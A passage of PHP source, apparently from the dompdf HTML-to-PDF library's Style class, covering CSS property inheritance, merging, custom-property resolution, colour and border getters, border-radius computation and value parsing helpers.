     * default values, in case no parent style exists.
     *
     * https://www.w3.org/TR/css-cascade-3/#inheriting
     *
     * @param Style|null $parent
     */
    public function inherit(?Style $parent = null): void
    {
        $this->parent_style = $parent;

        // Clear the computed font size, as it might depend on the parent
        // font size
        unset($this->_props_computed["font_size"]);
        unset($this->_props_used["font_size"]);

        if ($parent) {
            // For properties that inherit by default: When the cascade did
            // not result in a value, inherit the parent value. Inheritance
            // is handled via the specific sub-properties for shorthands. Custom
            // properties (variables) are selected by the -- prefix.
            foreach ($parent->_props as $prop => $val) {
                if (
                    !isset($this->_props[$prop])
                    && (
                        isset(self::$_inherited[$prop])
                        || $this->is_custom_property($prop)
                    )
                ) {
                    $parent_val = $parent->computed($prop);

                    if ($this->is_custom_property($prop)) {
                        $this->set_prop($prop, $parent_val);
                    } else {
                        $this->_props[$prop] = $parent_val;
                        $this->_props_computed[$prop] = $parent_val;
                        $this->_props_used[$prop] = null;
                    }
                }
            }
        }

        foreach ($this->_props as $prop => $val) {
            if ($val === "inherit") {
                if ($parent && isset($parent->_props[$prop])) {
                    $parent_val = $parent->computed($prop);

                    if ($this->is_custom_property($prop)) {
                        $this->set_prop($prop, $parent_val);
                    } else {
                        $this->_props[$prop] = $parent_val;
                        $this->_props_computed[$prop] = $parent_val;
                        $this->_props_used[$prop] = null;
                    }
                } else {
                    if ($this->is_custom_property($prop)) {
                        $this->set_prop($prop, "unset");
                    } else {
                        // Parent prop not set, use default
                        $this->_props[$prop] = self::$_defaults[$prop];
                        unset($this->_props_computed[$prop]);
                        unset($this->_props_used[$prop]);
                    }
                }
            }
        }
    }

    /**
     * Override properties in this style with those in $style
     *
     * @param Style $style
     */
    public function merge(Style $style): void
    {
        foreach ($style->_props as $prop => $val) {
            $important = isset($style->_important_props[$prop]);

            // `!important` declarations take precedence over normal ones
            if (!$important && isset($this->_important_props[$prop])) {
                continue;
            }

            if ($important) {
                $this->_important_props[$prop] = true;
            }

            if ($this->is_custom_property($prop)) {
                $this->set_prop($prop, $val, $important);
            } else {
                $this->_props[$prop] = $val;
            }

            // Copy an existing computed value only for non-dependent
            // properties; otherwise it may be invalid for the current style
            if (!isset(self::$_dependent_props[$prop])
                && \array_key_exists($prop, $style->_props_computed)
            ) {
                $this->_props_computed[$prop] = $style->_props_computed[$prop];
                $this->_props_used[$prop] = null;
            } else {
                unset($this->_props_computed[$prop]);
                unset($this->_props_used[$prop]);
            }

            if (\array_key_exists($prop, $style->_props_specified)) {
                $this->_props_specified[$prop] = true;
            }
        }

        // re-evalutate CSS variables
        foreach (array_keys($this->_props) as $prop) {
            if (!$this->is_custom_property($prop)) {
                continue;
            }
            $this->set_prop($prop, $this->_props[$prop], isset($this->_important_props[$prop]));
        }
    }

    /**
     * Clear information about important declarations after the style has been
     * finalized during stylesheet loading.
     */
    public function clear_important(): void
    {
        $this->_important_props = [];
    }

    /**
     * Clear border-radius and bottom-spacing cache as necessary when a given
     * property is set.
     *
     * @param string $prop The property that is set.
     */
    protected function clear_cache(string $prop): void
    {
        // Clear border-radius cache on setting any border-radius
        // property
        if ($prop === "border_top_left_radius"
            || $prop === "border_top_right_radius"
            || $prop === "border_bottom_left_radius"
            || $prop === "border_bottom_right_radius"
        ) {
            $this->has_border_radius_cache = null;
            $this->resolved_border_radius = null;
        }

        // Clear bottom-spacing cache if necessary. Border style can
        // disable/enable border calculations
        if ($prop === "margin_bottom"
            || $prop === "padding_bottom"
            || $prop === "border_bottom_width"
            || $prop === "border_bottom_style"
        ) {
            $this->_computed_bottom_spacing = null;
        }
    }

    /**
     * Set a style property from a value declaration.
     *
     * Setting `$clear_dependencies` to `false` is useful for saving a bit of
     * unnecessary work while loading stylesheets.
     *
     * @param string $prop               The property to set.
     * @param mixed  $val                The value declaration or computed value.
     * @param bool   $important          Whether the declaration is important.
     * @param bool   $clear_dependencies Whether to clear computed values of dependent properties.
     */
    public function set_prop(string $prop, $val, bool $important = false, bool $clear_dependencies = true): void
    {
        // Skip some checks for CSS custom properties.
        if (!$this->is_custom_property($prop)) {

            $prop = str_replace("-", "_", $prop);

            // Legacy property aliases
            if (isset(self::$_props_alias[$prop])) {
                $prop = self::$_props_alias[$prop];
            }

            if (!isset(self::$_defaults[$prop])) {
                global $_dompdf_warnings;
                $_dompdf_warnings[] = "'$prop' is not a recognized CSS property.";
                return;
            }
        }
        $this->_props_specified[$prop] = true;

        // Trim declarations unconditionally, but only lower-case for comparison
        // with the general keywords. Properties must handle case-insensitive
        // comparisons individually
        if (\is_string($val)) {
            $val = trim($val);
            $lower = strtolower($val);

            if ($lower === "initial" || $lower === "inherit" || $lower === "unset") {
                $val = $lower;
            }
        }

        if (isset(self::$_props_shorthand[$prop])) {
            // Shorthand properties directly set their respective sub-properties
            // https://www.w3.org/TR/css-cascade-3/#shorthand
            if ($val === "initial" || $val === "inherit" || $val === "unset") {
                foreach (self::$_props_shorthand[$prop] as $sub_prop) {
                    $this->set_prop($sub_prop, $val, $important, $clear_dependencies);
                }
            } else {
                $method = "_set_$prop";

                // Resolve the CSS custom property value(s).
                $pattern = self::CSS_VAR;

                // Always set the specified value for properties that use CSS variables
                // so that an invalid initial value does not prevent re-computation later.
                $this->_props[$prop] = $val;

                //TODO: we shouldn't need to parse this twice
                preg_match_all("/$pattern/", $val, $matches, PREG_SET_ORDER);
                foreach ($matches as $match) {
                    if ($this->parse_var($match) === null) {
                        // unset specified as for specific prop under expectation it will be overridden
                        foreach (self::$_props_shorthand[$prop] as $sub_prop) {
                            unset($this->_props_specified[$sub_prop]);
                        }
                        return;
                    }
                }
                $val = preg_replace_callback(
                    "/$pattern/",
                    [$this, "parse_var"],
                    $val);

                if (!isset(self::$_methods_cache[$method])) {
                    self::$_methods_cache[$method] = method_exists($this, $method);
                }

                if (self::$_methods_cache[$method]) {
                    $values = $this->$method($val);

                    if ($values === []) {
                        return;
                    }

                    // Each missing sub-property is assigned its initial value
                    // https://www.w3.org/TR/css-cascade-3/#shorthand
                    foreach (self::$_props_shorthand[$prop] as $sub_prop) {
                        $sub_val = $values[$sub_prop] ?? self::$_defaults[$sub_prop];
                        $this->set_prop($sub_prop, $sub_val, $important, $clear_dependencies);
                        unset($this->_props_specified[$sub_prop]);
                    }
                }
            }
        } else {
            // Legacy support for `word-break: break-word`
            // https://www.w3.org/TR/css-text-3/#valdef-word-break-break-word
            if ($prop === "word_break"
                && \is_string($val) && strcasecmp($val, "break-word") === 0
            ) {
                $val = "normal";
                $this->set_prop("overflow_wrap", "anywhere", $important, $clear_dependencies);
            }

            // `!important` declarations take precedence over normal ones
            if (!$important && isset($this->_important_props[$prop])) {
                return;
            }

            if ($important) {
                $this->_important_props[$prop] = true;
            }

            // https://www.w3.org/TR/css-cascade-3/#inherit-initial
            if ($val === "unset") {
                $val = isset(self::$_inherited[$prop]) || $this->is_custom_property($prop) ? "inherit" : "initial";
            }

            // https://www.w3.org/TR/css-cascade-3/#valdef-all-initial
            if ($val === "initial" && !$this->is_custom_property($prop)) {
                $val = self::$_defaults[$prop];
            }

            // Always set the specified value for properties that use CSS variables
            // so that an invalid initial value does not prevent re-computation later.
            if (\is_string($val) && \preg_match("/" . self::CSS_VAR . "/", $val)) {
                $this->_props[$prop] = $val;
            }

            $computed = $this->compute_prop($prop, $val);

            // Skip invalid declarations
            if ($computed === null) {
                return;
            }

            $this->_props[$prop] = $val;
            $this->_props_computed[$prop] = $computed;
            $this->_props_used[$prop] = null;

            //TODO: this should be a directed dependency map
            if ($this->is_custom_property($prop) && !\in_array($prop, $this->_prop_stack, true)) {
                array_push($this->_prop_stack, $prop);
                $specified_props = array_filter($this->_props, function($key) {
                    return \array_key_exists($key, $this->_props_specified);
                }, ARRAY_FILTER_USE_KEY); // copy existing props filtered by those set explicitly before parsing vars
                foreach ($specified_props as $specified_prop => $specified_value) {
                    if (!$this->is_custom_property($specified_prop) || strpos($specified_value, "var($prop") !== false) {
                        $this->set_prop($specified_prop, $specified_value, isset($this->_important_props[$specified_prop]), true);
                        if (isset(self::$_props_shorthand[$specified_prop])) {
                            foreach (self::$_props_shorthand[$specified_prop] as $sub_prop) {
                                if (\array_key_exists($sub_prop, $specified_props)) {
                                    $this->set_prop($sub_prop, $specified_props[$sub_prop], isset($this->_important_props[$sub_prop]), true);
                                }
                            }
                        }
                    }
                }
                array_pop($this->_prop_stack);
            }

            if ($clear_dependencies) {
                // Clear the computed values of any dependent properties, so
                // they can be re-computed
                if (isset(self::$_dependency_map[$prop])) {
                    foreach (self::$_dependency_map[$prop] as $dependent) {
                        unset($this->_props_computed[$dependent]);
                        unset($this->_props_used[$dependent]);
                    }
                }

                $this->clear_cache($prop);
            }
        }
    }

    /**
     * Get the specified value of a style property.
     *
     * @param string $prop
     *
     * @return mixed
     * @throws Exception
     */
    public function get_specified(string $prop)
    {
        // Legacy property aliases
        if (isset(self::$_props_alias[$prop])) {
            $prop = self::$_props_alias[$prop];
        }

        if (!isset(self::$_defaults[$prop]) && !$this->is_custom_property($prop)) {
            throw new Exception("'$prop' is not a recognized CSS property.");
        }

        return $this->_props[$prop] ?? self::$_defaults[$prop];
    }

    /**
     * Set a style property to its final value.
     *
     * This sets the specified and used value of the style property to the given
     * value, meaning the value is not parsed and thus should have a type
     * compatible with the property.
     *
     * If a shorthand property is specified, all of its sub-properties are set
     * to the given value.
     *
     * @param string $prop The property to set.
     * @param mixed  $val  The final value of the property.
     *
     * @throws Exception
     */
    public function __set(string $prop, $val)
    {
        // Legacy property aliases
        if (isset(self::$_props_alias[$prop])) {
            $prop = self::$_props_alias[$prop];
        }

        if (!isset(self::$_defaults[$prop]) && !$this->is_custom_property($prop)) {
            throw new Exception("'$prop' is not a recognized CSS property.");
        }

        if (isset(self::$_props_shorthand[$prop])) {
            foreach (self::$_props_shorthand[$prop] as $sub_prop) {
                $this->__set($sub_prop, $val);
            }
        } else {
            $this->_props[$prop] = $val;
            $this->_props_computed[$prop] = $val;
            $this->_props_used[$prop] = $val;

            $this->clear_cache($prop);
        }
    }

    /**
     * Set the used value of a style property.
     *
     * Used values are cleared on style reset.
     *
     * If a shorthand property is specified, all of its sub-properties are set
     * to the given value.
     *
     * @param string $prop The property to set.
     * @param mixed  $val  The used value of the property.
     *
     * @throws Exception
     */
    public function set_used(string $prop, $val): void
    {
        // Legacy property aliases
        if (isset(self::$_props_alias[$prop])) {
            $prop = self::$_props_alias[$prop];
        }

        if (!isset(self::$_defaults[$prop])) {
            throw new Exception("'$prop' is not a recognized CSS property.");
        }

        if (isset(self::$_props_shorthand[$prop])) {
            foreach (self::$_props_shorthand[$prop] as $sub_prop) {
                $this->set_used($sub_prop, $val);
            }
        } else {
            $this->_props_used[$prop] = $val;
            $this->non_final_used[$prop] = true;
        }
    }

    /**
     * Get the used or computed value of a style property, depending on whether
     * the used value has been determined yet.
     *
     * @param string $prop
     *
     * @return mixed
     * @throws Exception
     */
    public function __get(string $prop)
    {
        // Legacy property aliases
        if (isset(self::$_props_alias[$prop])) {
            $prop = self::$_props_alias[$prop];
        }

        if (!isset(self::$_defaults[$prop]) && !$this->is_custom_property($prop)) {
            throw new Exception("'$prop' is not a recognized CSS property.");
        }

        if (isset($this->_props_used[$prop])) {
            return $this->_props_used[$prop];
        }

        $method = "_get_$prop";

        if (!isset(self::$_methods_cache[$method])) {
            self::$_methods_cache[$method] = method_exists($this, $method);
        }

        if (isset(self::$_props_shorthand[$prop])) {
            // Don't cache shorthand values, always use getter. If no dedicated
            // getter exists, use a simple fallback getter concatenating all
            // sub-property values
            if (self::$_methods_cache[$method]) {
                return $this->$method();
            } else {
                return implode(" ", array_map(function ($sub_prop) {
                    $val = $this->__get($sub_prop);
                    return \is_array($val) ? implode(" ", $val) : $val;
                }, self::$_props_shorthand[$prop]));
            }
        } else {
            $computed = $this->computed($prop);
            $used = self::$_methods_cache[$method]
                ? $this->$method($computed)
                : $computed;

            $this->_props_used[$prop] = $used;
            return $used;
        }
    }

    /**
     * @param string $prop The property to compute.
     * @param mixed  $val  The value to compute. Non-string values are treated as already computed.
     *
     * @return mixed The computed value.
     */
    protected function compute_prop(string $prop, $val)
    {
        // During style merge, the parent style is not available yet, so
        // temporarily use the initial value for `inherit` properties. The
        // keyword is properly resolved during inheritance
        if ($val === "inherit" && !$this->is_custom_property($prop)) {
            $val = self::$_defaults[$prop];
        }

        // Check for values which are already computed
        if (!\is_string($val)) {
            return $val;
        }

        // Resolve the CSS custom property value(s).
        $pattern = self::CSS_VAR;
        $val = preg_replace_callback(
            "/$pattern/",
            [$this, "parse_var"],
            $val);

        $method = "_compute_$prop";

        if (!isset(self::$_methods_cache[$method])) {
            self::$_methods_cache[$method] = method_exists($this, $method);
        }

        if (self::$_methods_cache[$method]) {
            return $this->$method($val);
        } elseif ($val !== "") {
            return strtolower($val);
        } else {
            return null;
        }
    }

    /**
     * Get the computed value for the given property.
     *
     * @param string $prop The property to get the computed value of.
     *
     * @return mixed The computed value.
     */
    protected function computed(string $prop)
    {
        if (!\array_key_exists($prop, $this->_props_computed)) {
            if (!\array_key_exists($prop, $this->_props) && $this->is_custom_property($prop)) {
                return null;
            }
            $val = $this->_props[$prop] ?? self::$_defaults[$prop];
            $computed = $this->compute_prop($prop, $val);

            if ($computed === null) {
                if ($this->is_custom_property($prop)) {
                    return null;
                }
                $computed = $this->compute_prop($prop, self::$_defaults[$prop]);
            }

            $this->_props_computed[$prop] = $computed;
        }

        return $this->_props_computed[$prop];
    }

    /**
     * @param float $cbw The width of the containing block.
     * @return float|string|null
     */
    public function computed_bottom_spacing(float $cbw)
    {
        // Caching the bottom spacing independently of the given width is a bit
        // iffy, but should be okay, as the containing block should only
        // potentially change after a page break, and the style is reset in that
        // case
        if ($this->_computed_bottom_spacing !== null) {
            return $this->_computed_bottom_spacing;
        }
        return $this->_computed_bottom_spacing = $this->length_in_pt(
            [
                $this->margin_bottom,
                $this->padding_bottom,
                $this->border_bottom_width
            ],
            $cbw
        );
    }

    /**
     * Returns an `array(r, g, b, "r" => r, "g" => g, "b" => b, "alpha" => alpha, "hex" => "#rrggbb")`
     * based on the provided CSS color value.
     *
     * @param string|null $color
     * @return array|string|null
     */
    public function munge_color($color)
    {
        return Color::parse($color);
    }

    /**
     * @return string
     */
    public function get_font_family_raw(): string
    {
        return trim($this->_props["font_family"], " \t\n\r\x0B\"'");
    }

    /**
     * @return string[]
     */
    public function get_font_family_computed(): array
    {
        return $this->computed("font_family");
    }

    /**
     * Getter for the `font-family` CSS property.
     *
     * Uses the {@link FontMetrics} class to resolve the font family into an
     * actual font file.
     *
     * @param string[] $computed
     * @return string
     *
     * @throws Exception
     *
     * @link https://www.w3.org/TR/CSS21/fonts.html#propdef-font-family
     */
    protected function _get_font_family($computed): string
    {
        // TODO: It probably makes sense to perform the font selection outside
        // the Style class completely. It is now done primarily in
        // `FrameDecorator\Text::apply_font_mapping`

        // Select the appropriate font.  First determine the subtype, then check
        // the specified font-families for a candidate.

        $fontMetrics = $this->getFontMetrics();
        $weight = $this->__get("font_weight");
        $fontStyle = $this->__get("font_style");
        $subtype = $fontMetrics->getType($weight . ' ' . $fontStyle);

        foreach ($computed as $family) {
            $font = $fontMetrics->getFont($family, $subtype);

            if ($font !== null) {
                return $font;
            }
        }

        $font = $fontMetrics->getFont(null, $subtype);

        if ($font !== null) {
            return $font;
        }

        $specified = implode(", ", $computed);
        throw new Exception("Unable to find a suitable font replacement for: '$specified'");
    }

    /**
     * @param float $computed
     * @return float
     *
     * @link https://www.w3.org/TR/CSS21/fonts.html#propdef-font-size
     */
    protected function _get_font_size($computed)
    {
        // Computed value may be negative when specified via `calc()`
        return max($computed, 0.0);
    }

    /**
     * @param float|string $computed
     * @return float
     *
     * @link https://www.w3.org/TR/css-text-4/#word-spacing-property
     */
    protected function _get_word_spacing($computed)
    {
        if (\is_float($computed)) {
            return $computed;
        }

        // Resolve percentage values
        $font_size = $this->__get("font_size");
        return $this->single_length_in_pt($computed, $font_size);
    }

    /**
     * @param float|string $computed
     * @return float
     *
     * @link https://www.w3.org/TR/css-text-4/#letter-spacing-property
     */
    protected function _get_letter_spacing($computed)
    {
        if (\is_float($computed)) {
            return $computed;
        }

        // Resolve percentage values
        $font_size = $this->__get("font_size");
        return $this->single_length_in_pt($computed, $font_size);
    }

    /**
     * @param float|string $computed
     * @return float
     *
     * @link https://www.w3.org/TR/CSS21/visudet.html#propdef-line-height
     */
    protected function _get_line_height($computed)
    {
        // Lengths have been computed to float, number values to string
        if (\is_float($computed)) {
            // Computed value may be negative when specified via `calc()`
            return max($computed, 0.0);
        }

        $font_size = $this->__get("font_size");
        $factor = $computed === "normal"
            ? self::$default_line_height
            : (float) $computed;

        return $factor * $font_size;
    }

    /**
     * @param string $computed
     * @param bool   $current_is_parent
     *
     * @return array|string
     */
    protected function get_color_value($computed, bool $current_is_parent = false)
    {
        if ($computed === "currentcolor") {
            // https://www.w3.org/TR/css-color-4/#resolving-other-colors
            if ($current_is_parent) {
                // Use the `color` value from the parent for the `color`
                // property itself
                return isset($this->parent_style)
                    ? $this->parent_style->__get("color")
                    : $this->munge_color(self::$_defaults["color"]);
            }

            return $this->__get("color");
        }

        return $this->munge_color($computed) ?? "transparent";
    }

    /**
     * Returns the color as an array
     *
     * The array has the following format:
     * `array(r, g, b, "r" => r, "g" => g, "b" => b, "alpha" => alpha, "hex" => "#rrggbb")`
     *
     * @param string $computed
     * @return array|string
     *
     * @link https://www.w3.org/TR/CSS21/colors.html#propdef-color
     */
    protected function _get_color($computed)
    {
        return $this->get_color_value($computed, true);
    }

    /**
     * Returns the background color as an array
     *
     * See {@link Style::_get_color()} for format of the color array.
     *
     * @param string $computed
     * @return array|string
     *
     * @link https://www.w3.org/TR/CSS21/colors.html#propdef-background-color
     */
    protected function _get_background_color($computed)
    {
        return $this->get_color_value($computed);
    }

    /**
     * Returns the background image URI, or "none"
     *
     * @param string $computed
     * @return string
     *
     * @link https://www.w3.org/TR/CSS21/colors.html#propdef-background-image
     */
    protected function _get_background_image($computed): string
    {
        return $this->_stylesheet->resolve_url($computed);
    }

    /**
     * Returns the border color as an array
     *
     * See {@link Style::_get_color()} for format of the color array.
     *
     * @param string $computed
     * @return array|string
     *
     * @link https://www.w3.org/TR/CSS21/box.html#border-color-properties
     */
    protected function _get_border_top_color($computed)
    {
        return $this->get_color_value($computed);
    }

    /**
     * @param string $computed
     * @return array|string
     */
    protected function _get_border_right_color($computed)
    {
        return $this->get_color_value($computed);
    }

    /**
     * @param string $computed
     * @return array|string
     */
    protected function _get_border_bottom_color($computed)
    {
        return $this->get_color_value($computed);
    }

    /**
     * @param string $computed
     * @return array|string
     */
    protected function _get_border_left_color($computed)
    {
        return $this->get_color_value($computed);
    }

    /**
     * Return an array of all border properties.
     *
     * The returned array has the following structure:
     *
     * ```
     * array("top" => array("width" => [border-width],
     *                      "style" => [border-style],
     *                      "color" => [border-color (array)]),
     *       "bottom" ... )
     * ```
     *
     * @return array
     */
    public function get_border_properties(): array
    {
        return [
            "top" => [
                "width" => $this->__get("border_top_width"),
                "style" => $this->__get("border_top_style"),
                "color" => $this->__get("border_top_color"),
            ],
            "bottom" => [
                "width" => $this->__get("border_bottom_width"),
                "style" => $this->__get("border_bottom_style"),
                "color" => $this->__get("border_bottom_color"),
            ],
            "right" => [
                "width" => $this->__get("border_right_width"),
                "style" => $this->__get("border_right_style"),
                "color" => $this->__get("border_right_color"),
            ],
            "left" => [
                "width" => $this->__get("border_left_width"),
                "style" => $this->__get("border_left_style"),
                "color" => $this->__get("border_left_color"),
            ],
        ];
    }

    /**
     * Return a single border-side property
     *
     * @param string $side
     * @return string
     */
    protected function get_border_side(string $side): string
    {
        $color = $this->__get("border_{$side}_color");

        return $this->__get("border_{$side}_width") . " " .
            $this->__get("border_{$side}_style") . " " .
            (\is_array($color) ? $color["hex"] : $color);
    }

    /**
     * Return full border properties as a string
     *
     * Border properties are returned just as specified in CSS:
     * `[width] [style] [color]`
     * e.g. "1px solid blue"
     *
     * @return string
     *
     * @link https://www.w3.org/TR/CSS21/box.html#border-shorthand-properties
     */
    protected function _get_border_top(): string
    {
        return $this->get_border_side("top");
    }

    /**
     * @return string
     */
    protected function _get_border_right(): string
    {
        return $this->get_border_side("right");
    }

    /**
     * @return string
     */
    protected function _get_border_bottom(): string
    {
        return $this->get_border_side("bottom");
    }

    /**
     * @return string
     */
    protected function _get_border_left(): string
    {
        return $this->get_border_side("left");
    }

    public function has_border_radius(): bool
    {
        if (isset($this->has_border_radius_cache)) {
            return $this->has_border_radius_cache;
        }

        // Use a fixed ref size here. We don't know the border-box width here
        // and font size might be 0. Since we are only interested in whether
        // there is any border radius at all, this should do
        $tl = (float) $this->length_in_pt($this->border_top_left_radius, 12);
        $tr = (float) $this->length_in_pt($this->border_top_right_radius, 12);
        $br = (float) $this->length_in_pt($this->border_bottom_right_radius, 12);
        $bl = (float) $this->length_in_pt($this->border_bottom_left_radius, 12);

        $this->has_border_radius_cache = $tl + $tr + $br + $bl > 0;
        return $this->has_border_radius_cache;
    }

    /**
     * Get the final border-radius values to use.
     *
     * Percentage values are resolved relative to the width of the border box.
     * The border radius is additionally scaled for the given render box, and
     * constrained by its width and height.
     *
     * @param float[]      $border_box The border box of the frame.
     * @param float[]|null $render_box The box to resolve the border radius for.
     *
     * @return float[] A 4-tuple of top-left, top-right, bottom-right, and bottom-left radius.
     */
    public function resolve_border_radius(
        array $border_box,
        ?array $render_box = null
    ): array {
        $render_box = $render_box ?? $border_box;
        $use_cache = $render_box === $border_box;

        if ($use_cache && isset($this->resolved_border_radius)) {
            return $this->resolved_border_radius;
        }

        [$x, $y, $w, $h] = $border_box;

        // Resolve percentages relative to width, as long as we have no support
        // for per-axis radii
        $tl = (float) $this->length_in_pt($this->border_top_left_radius, $w);
        $tr = (float) $this->length_in_pt($this->border_top_right_radius, $w);
        $br = (float) $this->length_in_pt($this->border_bottom_right_radius, $w);
        $bl = (float) $this->length_in_pt($this->border_bottom_left_radius, $w);

        if ($tl + $tr + $br + $bl > 0) {
            [$rx, $ry, $rw, $rh] = $render_box;

            $t_offset = $y - $ry;
            $r_offset = $rx + $rw - $x - $w;
            $b_offset = $ry + $rh - $y - $h;
            $l_offset = $x - $rx;

            if ($tl > 0) {
                $tl = max($tl + ($t_offset + $l_offset) / 2, 0);
            }
            if ($tr > 0) {
                $tr = max($tr + ($t_offset + $r_offset) / 2, 0);
            }
            if ($br > 0) {
                $br = max($br + ($b_offset + $r_offset) / 2, 0);
            }
            if ($bl > 0) {
                $bl = max($bl + ($b_offset + $l_offset) / 2, 0);
            }

            if ($tl + $bl > $rh) {
                $f = $rh / ($tl + $bl);
                $tl = $f * $tl;
                $bl = $f * $bl;
            }
            if ($tr + $br > $rh) {
                $f = $rh / ($tr + $br);
                $tr = $f * $tr;
                $br = $f * $br;
            }
            if ($tl + $tr > $rw) {
                $f = $rw / ($tl + $tr);
                $tl = $f * $tl;
                $tr = $f * $tr;
            }
            if ($bl + $br > $rw) {
                $f = $rw / ($bl + $br);
                $bl = $f * $bl;
                $br = $f * $br;
            }
        }

        $values = [$tl, $tr, $br, $bl];

        if ($use_cache) {
            $this->resolved_border_radius = $values;
        }

        return $values;
    }

    /**
     * Returns the outline color as an array
     *
     * See {@link Style::_get_color()} for format of the color array.
     *
     * @param string $computed
     * @return array|string
     *
     * @link https://www.w3.org/TR/css-ui-4/#propdef-outline-color
     */
    protected function _get_outline_color($computed)
    {
        return $this->get_color_value($computed);
    }

    /**
     * @param string $computed
     * @return string
     *
     * @link https://www.w3.org/TR/css-ui-4/#propdef-outline-style
     */
    protected function _get_outline_style($computed): string
    {
        return $computed === "auto" ? "solid" : $computed;
    }

    /**
     * Return full outline properties as a string
     *
     * Outline properties are returned just as specified in CSS:
     * `[width] [style] [color]`
     * e.g. "1px solid blue"
     *
     * @return string
     *
     * @link https://www.w3.org/TR/CSS21/box.html#border-shorthand-properties
     */
    protected function _get_outline(): string
    {
        $color = $this->__get("outline_color");

        return $this->__get("outline_width") . " " .
            $this->__get("outline_style") . " " .
            (\is_array($color) ? $color["hex"] : $color);
    }

    /**
     * Returns the list style image URI, or "none"
     *
     * @param string $computed
     * @return string
     *
     * @link https://www.w3.org/TR/CSS21/generate.html#propdef-list-style-image
     */
    protected function _get_list_style_image($computed): string
    {
        return $this->_stylesheet->resolve_url($computed);
    }

    /**
     * @param array|string $computed
     * @return array|string
     *
     * @link https://www.w3.org/TR/css-content-3/#quotes
     */
    protected function _get_quotes($computed)
    {
        if ($computed === "auto") {
            // TODO: Use typographically appropriate quotes for the current
            // language here
            return [['"', '"'], ["'", "'"]];
        }

        return $computed;
    }

    /*==============================*/

    /**
     * Parses a CSS string containing quotes and escaped hex characters.
     *
     * @param string $string The string to parse.
     *
     * @return string
     */
    protected function parse_string(string $string): string
    {
        // Strip string quotes and escapes
        $string = preg_replace('/^["\']|["\']$/', "", $string);
        $string = preg_replace("/\\\\([^0-9a-fA-F])/", "\\1", $string);

        // Convert escaped hex characters (e.g. \A => newline)
        return preg_replace_callback(
            "/\\\\([0-9a-fA-F]{1,6})/",
            function ($matches) { return Helpers::unichr(hexdec($matches[1])); },
            $string
        ) ?? "";
    }

    /**
     * Parse a property value into its components.
     *
     * @param string $value
     *
     * @return string[]
     */
    protected function parse_property_value(string $value): array
    {
        $string = self::CSS_STRING;
        $ident = self::CSS_IDENTIFIER;
        $number = self::CSS_NUMBER;

        $pattern = "/\n" .
            "\s* (?<string>$string)                                        |\n" . // String
            "\s* (url \( (?> (\\\\[\"'()] | [^\"'()])* ) (?<!\\\\)\) )     |\n" . // URL without quotes
            "\s* ($ident (\( ((?> \g<string> | [^\"'()]+ ) | (?-2))* \)) ) |\n" . // Function (with balanced parentheses)
            "\s* ($ident)                                                  |\n" . // Keyword
            "\s* (\#[0-9a-fA-F]*)                                          |\n" . // Hex value
            "\s* ($number [a-zA-Z%]*)                                      |\n" . // Number (+ unit/percentage)
            "\s* ([\/,;])                                                   \n" . // Delimiter
            "/iSx";

        if (!preg_match_all($pattern, $value, $matches)) {
            return [];
        }

        return array_map("trim", $matches[0]);
    }

    protected function is_color_value(string $val): bool
    {
        return $val === "currentcolor"
            || $val === "transparent"
            || isset(Color::$cssColorNames[$val])
            || preg_match("/^#|rgb\(|rgba\(|cmyk\(/", $val);
    }

    /**
     * @param string $val
     * @return string|null
     */
    protected function compute_color_value(string $val): ?string
    {
        // https://www.w3.org/TR/css-color-4/#resolving-other-colors
        $val = strtolower($val);
        $munged_color = $val !== "currentcolor"
            ? $this->munge_color($val)
            : $val;

        if ($munged_color === null) {
            return null;
        }

        return \is_array($munged_color) ? $munged_color["hex"] : $munged_color;
    }

    /**
     * @param string $val
     * @return int|null
     */
    protected function compute_integer(string $val): ?int
    {
        $integer = self::CSS_INTEGER;
        return preg_match("/^$integer$/", $val)
            ? (int) $val
            : null;
    }

    /**
     * @param string $val
     * @return float|null
     */
    protected function compute_number(string $val): ?float
    {
        $number = self::CSS_NUMBER;
        return preg_match("/^$number$/", $val)
            ? (float) $val
            : null;
    }

    /**
     * @param string $val
     * @return float|null
     */
    protected function compute_length(string $val): ?float
    {
        return strpos($val, "%") === false
            ? $this->single_length_in_pt($val)
            : null;
    }

    /**
     * @param string $val
     * @return float|null
     */
    protected function compute_length_positive(string $val): ?float
    {
        $computed = $this->compute_length($val);

        // Negative non-`calc` values are invalid
        if ($computed === null
            || ($computed < 0 && !preg_match("/^-?[_a-zA-Z]/", $val))
        ) {
            return null;
        }

        return $computed;
    }

    /**
     * @param string $val
     * @return float|string|null
     */
    protected function compute_length_percentage(string $val)
    {
        // Compute with a fixed ref size to decide whether percentage values
        // are valid
        $computed = $this->single_length_in_pt($val, 12);

        if ($computed === null) {
            return null;
        }

        // Retain valid percentage declarations
        return strpos($val, "%") === false ? $computed : $val;
    }

    /**
     * @param string $val
     * @return float|string|null
     */
    protected function compute_length_percentage_positive(string $val)
    {
        // Compute with a fixed ref size to decide whether percentage values
        // are valid
        $computed = $this->single_length_in_pt($val, 12);

        // Negative non-`calc` values are invalid
        if ($computed === null
            || ($computed < 0 && !preg_match("/^-?[_a-zA-Z]/", $val))
        ) {
            return null;
        }

        // Retain valid percentage declarations
        return strpos($val, "%") === false ? $computed : $val;
    }

    /**
     * @param string $val
     * @param string $style_prop The corresponding border-/outline-style property.
     *
     * @return float|null
     *
     * @link https://www.w3.org/TR/css-backgrounds-3/#typedef-line-width
     */
    protected function compute_line_width(string $val, string $style_prop): ?float
    {
        $val = strtolower($val);

        // Border-width keywords
        if ($val === "thin") {
            $computed = 0.5;
        } elseif ($val === "medium") {
            $computed = 1.5;
        } elseif ($val === "thick") {
            $computed = 2.5;
        } else {
            $computed = $this->compute_length_positive($val);
        }

        if ($computed === null) {
            return null;
        }

        // Computed width is 0 if the line style is `none` or `hidden`
        // https://www.w3.org/TR/css-backgrounds-3/#border-width
        // https://www.w3.org/TR/css-ui-4/#outline-width
        $lineStyle = $this->__get($style_prop);
        $hasLineStyle = $lineStyle !== "none" && $lineStyle !== "hidden";

        return $hasLineStyle ? $computed : 0.0;
    }

    /**
     * @param string $val
     * @return string|null
     */
    protected function compute_border_style(string $val): ?string
    {
        $val = strtolower($val);
        return \in_array($val, self::BORDER_STYLES, true) ? $val : null;
    }

    /**
     * @param string $val
     * @return float|null
     *
     * @link https://www.w3.org/TR/css3-values/#angles
     */
    protected function compute_angle_or_zero(string $val): ?float
    {
        $number = self::CSS_NUMBER;
        $pattern = "/^($number)(deg|grad|rad|turn)?$/i";

        if (!preg_match($pattern, $val, $matches)) {
            return null;
        }

        $v = (float) $matches[1];
        $unit = strtolower($matches[2] ?? "");

        switch ($unit) {
            case "deg":
                return $v;
            case "grad":
                return $v * 0.9;
            case "rad":
